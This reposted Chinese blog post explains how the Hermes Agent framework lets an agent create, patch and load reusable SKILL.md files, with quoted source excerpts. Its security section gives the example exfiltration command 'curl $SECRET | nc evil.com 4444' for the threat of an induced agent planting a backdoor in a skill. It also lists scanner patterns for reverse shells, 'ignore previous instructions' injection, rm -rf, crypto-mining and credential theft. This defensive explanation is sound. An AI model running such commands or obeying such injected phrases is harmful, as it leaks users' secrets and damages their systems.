转载--Hermes Agent 07 | 技能系统:Agent 如何从经验中创建可复用的技能

原文连接:Hermes Agent 07 | 技能系统:Agent 如何从经验中创建可复用的技能

知识告诉你世界是什么样的,技能告诉你遇到问题该怎么办。


记忆 vs 技能:一张表说清区别

先把两套系统的定位摆清楚:

维度 记忆(MEMORY.md / USER.md 技能(SKILL.md
存什么 事实------环境、偏好、约定 方法------步骤、命令、决策树
粒度 一条几十字符的条目 一个完整的操作手册(数百到数千字)
注入方式 冻结快照进系统提示词 按需加载进系统提示词的索引
生命周期 Agent 主动策展,空间有限 持久化为文件,无上限
改良方式 replace / remove patch 优先于 rewrite
触发类型 用户轮次计数(turn-based) 主循环 / LLM 迭代计数(iteration-based)

tools/skill_manager_tool.py 的模块文档说得很清楚(第 12-13 行):

复制代码
Skills are the agent's procedural memory: they capture *how to do a specific
type of task* based on proven experience. General memory (MEMORY.md, USER.md) is
broad and declarative. Skills are narrow and actionable.

声明性 vs 过程性------这是两套系统的根本分野。


SKILL.md 文件格式:YAML 前置 + Markdown 正文

一个真实的 SKILL.md 长这样(来自 optional-skills/research/parallel-cli/SKILL.md):

复制代码
---
name: parallel-cli
description: Optional vendor skill for Parallel CLI --- agent-native web search, extraction, deep research, enrichment.
version: 1.1.0
author: Hermes Agent
license: MIT
metadata:
  hermes:
    tags: [Research, Web, Search, Deep-Research]
    related_skills: [duckduckgo-search, mcporter]
---

# Parallel CLI

Use `parallel-cli` when the user explicitly wants Parallel, or when a terminal-native
workflow would benefit from Parallel's vendor-specific stack...

## When to use it

Prefer this skill when:
- The user explicitly mentions Parallel or `parallel-cli`
- The task needs richer workflows than a simple one-shot search/extract pass
...

## Installation

```bash
brew install parallel-web/tap/parallel-cli

...

复制代码
### 前置元数据

YAML 前置区(`---` 之间的部分)有两个必填字段和多个可选字段:

| 字段 | 必填? | 说明 |
| --- | --- | --- |
| `name` | 是 | 技能标识符,最长 64 字符,小写+连字符+下划线 |
| `description` | 是 | 简短描述,最长 1024 字符 |
| `version` | 否 | 语义版本号 |
| `author` | 否 | 作者 |
| `license` | 否 | 许可协议 |
| `platforms` | 否 | 平台限制列表:`[macos, linux, windows]` |
| `metadata.hermes.tags` | 否 | 分类标签 |
| `metadata.hermes.related_skills` | 否 | 相关技能交叉引用 |
| `metadata.hermes.fallback_for_toolsets` | 否 | 条件激活规则 |
| `prerequisites.commands` | 否 | 兼容旧格式的命令依赖声明,当前更偏 advisory metadata |
| `required_environment_variables` | 否 | 需要的环境变量 |

这里有个实现细节要说清:`required_environment_variables` 在当前源码里是**活的运行时约束**,`skill_view()` 会检查缺失项并给出 setup 提示;而 `prerequisites.commands` 虽然会被解析,但还没有落到命令探测和 readiness 校验上。**不要把这两个字段当成同一成熟度的能力。**

### Markdown 正文

前置区之后是 Markdown 正文,通常包含:

1.  **什么时候用这个技能**------触发条件
    
2.  **具体步骤**------编号列表,带精确命令
    
3.  **常见坑位**------踩过的坑和规避方法
    
4.  **验证步骤**------怎么确认做对了
    

`SKILL_MANAGE_SCHEMA` 的 description(`skill_manager_tool.py:699-700`)明确告诉模型什么是好技能:

```plaintext
Good skills: trigger conditions, numbered steps with exact commands,
pitfalls section, verification steps.

这不是给人写的文档模板------这是给模型写的 prompt engineering。 模型会按这个指导来生成 SKILL.md 的结构。


技能创建的触发:不是每轮都想创建,而是"做了足够多的事"才回头看

关键区别:iteration-based,不是 turn-based

上一讲说过,记忆的 nudge 是用户轮次 计数------用户发了 10 条消息就触发一次 review。技能的 nudge 完全不同------它是主循环 / LLM 迭代计数。

为什么?因为只有复杂任务才值得沉淀成技能 。简单对话("帮我看一下这个文件")可能 2 轮就完事,根本不该触发技能 review。而一个涉及调试、重试、修改策略的复杂任务,可能一轮用户消息里走了很多轮"模型思考 → 调工具 → 再思考"的闭环。主循环迭代数比用户轮次数更能反映任务复杂度。

触发逻辑

两个关键常量(run_agent.py:1292-1414):

复制代码
self._iters_since_skill = 0           # 主循环 / LLM 迭代计数器
self._skill_nudge_interval = 10       # 每 10 次迭代触发一次 review

_skill_nudge_interval 可通过 config.yaml 覆盖:

复制代码
self._skill_nudge_interval = skills_config.get("creation_nudge_interval", 10)

计数器在主循环里、每次准备发起模型调用前 递增(run_agent.py:9064-9066):

复制代码
if (self._skill_nudge_interval > 0
        and "skill_manage" in self.valid_tool_names):
    self._iters_since_skill += 1

检查在这一轮主循环结束后 进行(run_agent.py:11777-11783):

复制代码
_should_review_skills = False
if (self._skill_nudge_interval > 0
        and self._iters_since_skill >= self._skill_nudge_interval
        and "skill_manage" in self.valid_tool_names):
    _should_review_skills = True
    self._iters_since_skill = 0

一个容易忽略的细节:当 Agent 真正调用了 **skill_manage** 工具时,计数器会被重置为 0run_agent.py:78238143)------因为 Agent 已经在主动管理技能了,不需要 nudge 再提醒它。

计数器跨 turn 持久化

run_agent.py:8745-8747 有一条重要注释:

复制代码
# NOTE: _turns_since_memory and _iters_since_skill are NOT reset here.
# They are initialized in __init__ and must persist across run_conversation
# calls so that nudge logic accumulates correctly in CLI mode.

在 CLI 的多轮交互中,每次 run_conversation() 不会重置这些计数器。一个 10 轮的 CLI session,如果前 3 轮各用了 3 次主循环迭代(共 9 次),第 4 轮第一次迭代就会达到 10 的阈值触发 review。

两种 nudge 的对比

记忆 nudge 技能 nudge
计数对象 用户消息轮次 主循环 / LLM 迭代
递增位置 run_conversation() 入口(run_agent.py:8784 主循环体内(run_agent.py:9066
检查位置 同上(入口处递增并检查) 主循环结束后(run_agent.py:11779
默认间隔 10 轮 10 次迭代
重置条件 触发 review / 手动调 memory 工具 触发 review / 手动调 skill_manage 工具
配置路径 memory.nudge_interval skills.creation_nudge_interval

要特别注意:这里不是"一个 tool call 算一次" 。如果某次 assistant 响应里并发执行了多个工具,这一轮对 _iters_since_skill 仍然只加 1,因为它统计的是 agent 的推理轮次,而不是原子工具数。

这个设计的含金量:记忆关注"用户说了什么"(信息输入密度),技能关注"Agent 经历了多少轮推理与执行闭环"(执行复杂度)。两种不同维度的信号,驱动两种不同类型的学习。


后台审查:_SKILL_REVIEW_PROMPT 怎么引导 Agent 创建技能

当 skill nudge 触发后,_spawn_background_review() 会 fork 一个静默的 AIAgent(上一讲已经拆过它的机制),传入 _SKILL_REVIEW_PROMPTrun_agent.py:2434-2442):

复制代码
_SKILL_REVIEW_PROMPT = (
    "Review the conversation above and consider saving or updating a skill if appropriate.\n\n"
    "Focus on: was a non-trivial approach used to complete a task that required trial "
    "and error, or changing course due to experiential findings along the way, or did "
    "the user expect or desire a different method or outcome?\n\n"
    "If a relevant skill already exists, update it with what you learned. "
    "Otherwise, create a new skill if the approach is reusable.\n"
    "If nothing is worth saving, just say 'Nothing to save.' and stop."
)

这段 prompt 的设计很讲究。它引导 review Agent 关注三个信号:

  1. 试错过程------"required trial and error"

  2. 策略转变------"changing course due to experiential findings"

  3. 用户期望偏差------"the user expect or desire a different method"

这三个信号的共同特征是:任务不是一帆风顺的 。如果一个任务一步到位完成了,没有试错、没有调整------那它不需要变成技能,因为现有能力已经够用了。只有经历了挫折和调整的任务,才值得沉淀方法论。

当 memory 和 skill 同时需要 review 时,用 _COMBINED_REVIEW_PROMPTrun_agent.py:2444-2456)一次性处理,避免 fork 两个 Agent:

复制代码
_COMBINED_REVIEW_PROMPT = (
    "Review the conversation above and consider two things:\n\n"
    "**Memory**: Has the user revealed things about themselves --- their persona, "
    "desires, preferences, or personal details? ...\n\n"
    "**Skills**: Was a non-trivial approach used to complete a task ...?\n\n"
    "Only act if there's something genuinely worth saving. "
    "If nothing stands out, just say 'Nothing to save.' and stop."
)

技能管理工具三件套:渐进式暴露

Hermes Agent 的技能管理分布在两个文件的三个工具里,构成一个渐进式暴露的层次:

工具 文件 职责 模型何时用
skills_list tools/skills_tool.py 列出本地/外部目录中可见技能的元数据摘要 需要知道"有哪些技能"
skill_view tools/skills_tool.py 加载某个技能的完整内容 需要执行某个技能
skill_manage tools/skill_manager_tool.py 创建 / 补丁 / 重写 / 删除技能 需要改变技能

为什么分成三个工具而不是一个

因为绝大多数场景下,Agent 只需要列出或加载技能,不需要修改它们。如果把 create/patch/delete 的 schema 和 list/view 混在同一个工具里,模型每次调用都要面对一个参数很多的 schema,增加误调用的概率。

分离后,skills_listskill_view 的 schema 很简洁(几乎不需要参数),skill_manage 的 schema 复杂但调用频率很低。工具的 schema 复杂度应该和使用频率成反比。

这里还要补一个源码层面的边界:skills_list() 扫描的是本地 SKILLS_DIRskills.external_dirs 里的可见技能,并会过滤 disabled skills;插件技能走的是 skill_view("plugin:skill") 这条限定名分发路径,不在 skills_list() 的枚举结果里。

skill_manage 的六个动作

skill_manage 支持六种操作(skill_manager_tool.py:707):

复制代码
"enum": ["create", "patch", "edit", "delete", "write_file", "remove_file"]
动作 用途 必要参数
create 创建新技能 name + content(完整 SKILL.md
patch 精准替换技能中的某段内容 name + old_string + new_string
edit 完整重写 SKILL.md name + content
delete 删除技能 name
write_file 添加/覆盖辅助文件 name + file_path + file_content
remove_file 移除辅助文件 name + file_path

补丁优先于重写:技能系统的核心哲学

这是技能系统最值得深入的设计决策。

为什么不直接 edit

SKILL_MANAGE_SCHEMA 的描述(skill_manager_tool.py:687-696)明确偏向 patch:

复制代码
Actions: create (full SKILL.md + optional category),
patch (old_string/new_string --- preferred for fixes),
edit (full SKILL.md rewrite --- major overhauls only)
...
If you used a skill and hit issues not covered by it, patch it immediately.

"preferred for fixes"和"immediately" ------两个关键词。

为什么 patch 优于 edit?三个原因:

1. Token 效率。 一个 2000 字符的 SKILL.md,edit 需要模型输出完整的 2000 字符(即使只改了一行)。patch 只需要输出 old_string + new_string------可能只有 100 字符。Token 节省 95%。

2. 信息保真。 edit 是全量替换------模型需要"复制"整个文件再改。复制过程中很容易丢失细节、格式变化、无意中删除某个段落。patch 只动你指定的部分,其余内容纹丝不动。

3. 安全回滚。 _patch_skill() 在写入前保留原始内容(skill_manager_tool.py:473-480):

复制代码
original_content = content  # for rollback
_atomic_write_text(target, new_content)

# Security scan --- roll back on block
scan_error = _security_scan_skill(skill_dir)
if scan_error:
    _atomic_write_text(target, original_content)
    return {"success": False, "error": scan_error}

如果 patch 后的内容触发了安全扫描,自动回滚到原始版本。edit 也有同样的回滚机制,但 patch 的"改动范围小"天然降低了触发安全扫描的概率。

模糊匹配:容忍模型的"不精确"

patch 的另一个工程亮点是模糊匹配 。模型生成的 old_string 经常有微小偏差------多一个空格、少一个缩进、转义字符不对。如果用严格的字符串匹配,大量 patch 会因为"找不到完全匹配"而失败。

_patch_skill() 使用 tools/fuzzy_match.pyfuzzy_find_and_replace()skill_manager_tool.py:444-448):

复制代码
from tools.fuzzy_match import fuzzy_find_and_replace

new_content, match_count, _strategy, match_error = fuzzy_find_and_replace(
    content, old_string, new_string, replace_all
)

这个引擎处理空白归一化、缩进差异、转义序列、块锚点匹配------让 Agent 不至于因为微小的格式不匹配就 patch 失败。

patch 匹配失败时,还会返回文件前 500 字符的预览skill_manager_tool.py:450-456),让模型能自我纠正。


技能的目录结构与组织

技能文件存储在 ~/.hermes/skills/ 下(skill_manager_tool.py:22-32):

复制代码
~/.hermes/skills/
├── my-skill/
│   ├── SKILL.md              # 主文件(必需)
│   ├── references/           # 参考文档
│   │   └── api.md
│   ├── templates/            # 输出模板
│   │   └── template.md
│   ├── scripts/              # 可执行脚本
│   │   └── validate.py
│   └── assets/               # 其他资源
│       └── config.yaml
└── category-name/            # 分类目录
    └── another-skill/
        └── SKILL.md

SKILL.md 是唯一必需的文件。 但复杂的技能可以通过 write_file 动作添加辅助文件------参考文档、模板、脚本、资源。这些文件存储在四个约定的子目录下(skill_manager_tool.py:104):

复制代码
ALLOWED_SUBDIRS = {"references", "templates", "scripts", "assets"}

只允许这四个子目录------防止路径穿越攻击。

技能索引:冷启动优化

agent/prompt_builder.py 在构建系统提示词时会扫描技能目录,生成一个技能索引 注入系统提示词。索引不是每轮都重新构建------它使用一套 manifest + LRU 缓存 + 磁盘快照的三级缓存策略(prompt_builder.py:428-527):

  1. 内存 LRU 缓存(最多 8 条,线程安全)

  2. 磁盘快照~/.hermes/.skills_prompt_snapshot.json)------冷启动时直接加载,避免扫描目录

  3. Manifest 校验------每个 SKILL.md 的 mtime + size 作为指纹,指纹变了才重新解析

但这里不能简单理解成"改完技能,当前 Agent 下一轮 API 调用就能看到更新"。因为 run_agent.py 还有一层更高的 session 级缓存:_build_system_prompt() 会把完整系统提示词缓存到 self._cached_system_prompt,通常只在新 sessioncontext compression 之后才重建。

skill_manage() 成功后确实会清掉 skills index 的缓存和磁盘快照,所以下一次 system prompt rebuild 时一定会看到新技能;但这最常见发生在下一个 session,压缩续接 session 也可能发生,并不是"当前会话里下一次 API 调用必然看到"。

条件激活

不是所有技能都会出现在索引里。prompt_builder.py_skill_should_show() 会根据 fallback_for_toolsetsrequires_toolsets 等条件判断一个技能是否应该在当前场景下激活。比如 duckduckgo-search 技能标记了 fallback_for_toolsets: [web]------只有当 web_search 工具不可用时(没配 API Key),这个技能才会浮现为替代方案。


四级信任等级:当 Agent 能写代码,安全就是第一优先级

技能系统最容易被低估的部分是安全

Agent 自动生成的 SKILL.md可被注入系统提示词的文本 。如果一个被诱导的 Agent 写了一个包含 curl $SECRET | nc evil.com 4444 的技能,这个后门会在每次加载该技能时执行------从一次性攻击变成持久性攻击

INSTALL_POLICY

tools/skills_guard.py:41-49 定义了四级信任策略:

复制代码
INSTALL_POLICY = {
    #                  safe      caution    dangerous
    "builtin":       ("allow",  "allow",   "allow"),
    "trusted":       ("allow",  "allow",   "block"),
    "community":     ("allow",  "block",   "block"),
    "agent-created": ("allow",  "allow",   "ask"),
}

翻译成人话:

信任等级 来源 安全 → 允许 注意 → ? 危险 → ?
builtin Hermes Agent 自带 允许 允许 允许
trusted openai/skillsanthropics/skills 允许 允许 拒绝
community 其他来源 允许 拒绝 拒绝
agent-created Agent 运行时创建 允许 允许 需确认

agent-created 的"dangerous → ask"非常巧妙。 它不是直接拒绝------而是标记为需要用户确认。为什么?因为 Agent 创建的内容可能包含看起来像后门但实际上是合法操作的命令(比如一个部署脚本确实需要 SSH 到远程服务器)。但在 skill_manager_tool.py:66-71 的实际实现中,当前版本把 ask 也当作 block 处理------因为后台 review Agent 运行时用户不在交互循环里,无法真正"ask"。

120 条威胁正则

扫描器的核心是 THREAT_PATTERNS 数组------120 条正则,覆盖 12 大类威胁:

类别 示例 严重度
exfiltration curl.*$KEY 、DNS exfil、markdown image 泄露 critical
injection ignore previous instructions 、role hijack critical
destructive rm -rf /mkfschmod 777 critical
persistence crontab 注入、.bashrc 修改、systemd service high
network reverse shell、tunneling service、hardcoded IP critical
obfuscation base64 decode pipe、hex string、eval/exec high
execution subprocess、os.system、child_process medium
traversal ../ 路径穿越、/etc/passwd high
mining xmrig、stratum+tcp、monero high
supply_chain `curl bash`、unpinned pip/npm
privilege_escalation sudo、setuid、NOPASSWD high
credential_exposure hardcoded secret、private key critical

还有 17 种不可见 Unicode 字符检测(零宽空格、bidi override 等)------防止视觉隐藏的注入。

每次写入都扫描

不只是安装时扫描------每次 createeditpatch 都会扫描。 _security_scan_skill()skill_manager_tool.py:56-74)在每次写入后立刻运行:

复制代码
def _security_scan_skill(skill_dir: Path) -> Optional[str]:
    if not _GUARD_AVAILABLE:
        return None
    result = scan_skill(skill_dir, source="agent-created")
    allowed, reason = should_allow_install(result)
    if allowed is False:
        report = format_scan_report(result)
        return f"Security scan blocked this skill ({reason}):\n{report}"
    if allowed is None:
        # "ask" verdict --- block in automated context
        report = format_scan_report(result)
        return f"Security scan blocked this skill ({reason}):\n{report}"
    return None

扫描失败→自动回滚→返回错误。Agent 永远无法绕过扫描器写入一个包含已知威胁模式的技能。


技能在系统提示词中怎么呈现

技能和记忆一样,最终都要注入系统提示词。但注入方式不同。

记忆是全量注入 ------MEMORY.md 的所有条目都在系统提示词里。技能是索引注入 ------系统提示词里只有技能名字和一句话描述,Agent 需要用 skill_view 工具加载完整内容后才能按步骤执行。

为什么不把所有技能全文注入?因为技能文件可以很大------一个技能可能有 5000 字符。如果用户有 20 个技能,全量注入就是 100,000 字符进系统提示词,不现实。

prompt_builder.py:164-171SKILLS_GUIDANCE 告诉 Agent 怎么使用技能索引:

复制代码
SKILLS_GUIDANCE = (
    "After completing a complex task (5+ tool calls), fixing a tricky error, "
    "or discovering a non-trivial workflow, save the approach as a "
    "skill with skill_manage so you can reuse it next time.\n"
    "When using a skill and finding it outdated, incomplete, or wrong, "
    "patch it immediately with skill_manage(action='patch') --- don't wait to be asked. "
    "Skills that aren't maintained become liabilities."
)

最后一句话是整个技能系统哲学的浓缩:"Skills that aren't maintained become liabilities." 过时的技能比没有技能更糟------因为 Agent 会按错误的步骤执行。所以 Hermes Agent 不只是鼓励创建技能,更鼓励立即更新遇到问题的技能


实战:手动创建一个高质量 SKILL.md

场景

你经常需要把 Python 项目从 setup.py 迁移到 pyproject.toml。每次都要手动做一遍。我们创建一个技能让 Agent 以后自动完成。

第一步:创建技能文件

在 CLI 里告诉 Agent:

复制代码
请创建一个技能:把 Python 项目从 setup.py 迁移到 pyproject.toml。
包含具体的迁移步骤、常见坑位、验证方法。

Agent 会调用 skill_manage(action="create", name="setup-to-pyproject", content="...")

你也可以手动创建------在 ~/.hermes/skills/ 下新建目录并写 SKILL.md

复制代码
---
name: setup-to-pyproject
description: Migrate a Python project from setup.py/setup.cfg to pyproject.toml with hatchling or setuptools backend.
version: 1.0.0
author: your-name
license: MIT
metadata:
  hermes:
    tags: [python, packaging, migration]
---

# Setup.py to pyproject.toml Migration

## When to Use

When a Python project has `setup.py` and/or `setup.cfg` but no `pyproject.toml`,
and the user wants to modernize the packaging.

## Steps

1. Read `setup.py` and `setup.cfg` to extract: name, version, description,
   author, dependencies, extras, entry_points, package_data
2. Choose build backend:
   - If project uses only standard setuptools features → `hatchling`
   - If project has C extensions or complex build steps → `setuptools` backend
3. Create `pyproject.toml` with `[build-system]`, `[project]`, and optional
   `[project.optional-dependencies]`
4. Migrate entry_points to `[project.scripts]` or `[project.gui-scripts]`
5. If `MANIFEST.in` exists, convert to `[tool.setuptools.package-data]`
6. Remove `setup.py`, `setup.cfg` (keep backup until tests pass)
7. Run `pip install -e ".[dev]"` to verify

## Pitfalls

- `find_packages()` → use `[tool.setuptools.packages.find]` with explicit `where`
- `package_data` with glob patterns → double-check `**/*.json` syntax
- `install_requires` with version pinning → use `>=` not `==` in pyproject.toml
- Some CI systems cache `setup.py` paths --- update CI config

## Verification

```bash
pip install -e ".[dev]"
python -c "import your_package; print(your_package.__version__)"
pip install build && python -m build

### 第二步:验证技能被索引

```bash
hermes chat -q "你有哪些可用的技能?"

Agent 会调用 skills_list(),你应该能看到 setup-to-pyproject 出现在列表里。

第三步:使用技能

开一个新 session,随便找一个有 setup.py 的项目:

复制代码
帮我把这个项目迁移到 pyproject.toml

Agent 会先 skills_list() 看到相关技能,再 skill_view(name="setup-to-pyproject") 加载完整内容,然后按步骤执行。

第四步:改良技能

如果迁移过程中遇到了新坑(比如 data_files 的处理),Agent 会在 skill nudge 触发时自动 patch 这个技能------在 Pitfalls 里加上新发现的坑。下次再做同类迁移,这个坑就不会再踩。

这就是"从经验中学习"的完整循环:执行 → 踩坑 → 沉淀 → 改良 → 下次更好。

相关推荐
暗夜猎手-大魔王1 小时前
转载--Hermes Agent 06 | 记忆系统(下):可插拔的 Memory Provider 与 Agent 主动策展
人工智能
AI2512241 小时前
AI视频生成工具怎么选,参考图与首尾帧控制能力
人工智能·机器学习·音视频
蓝速科技1 小时前
蓝速科技 AI 数字人全息舱商用落地实战指南
人工智能·科技
zhangfeng11331 小时前
超算/曙光DCU集群 昆山站 htc /public 目录全解
人工智能·python·机器学习
Akamai中国1 小时前
客户案例 | 重构部署体验,流媒体开源走向轻量化
人工智能·云计算·云服务
古月开发1 小时前
智能客服系统设计避坑指南:从需求分析到持续优化
人工智能·自动化·个人开发
Fortinet_CHINA1 小时前
AI正在重塑网络安全格局,但技能差距仍是核心风险
人工智能·安全·web安全
一楼的猫1 小时前
茄子小说写作助手品牌升级公告:新域名,新征程,与您同行
人工智能·学习·机器学习·写作·ai写作
芝士爱知识a1 小时前
资料分析速算指南:如何用结构化思维提升答题速度
大数据·人工智能·数据分析·结构化思维·资料分析·速算技巧·智蛙公考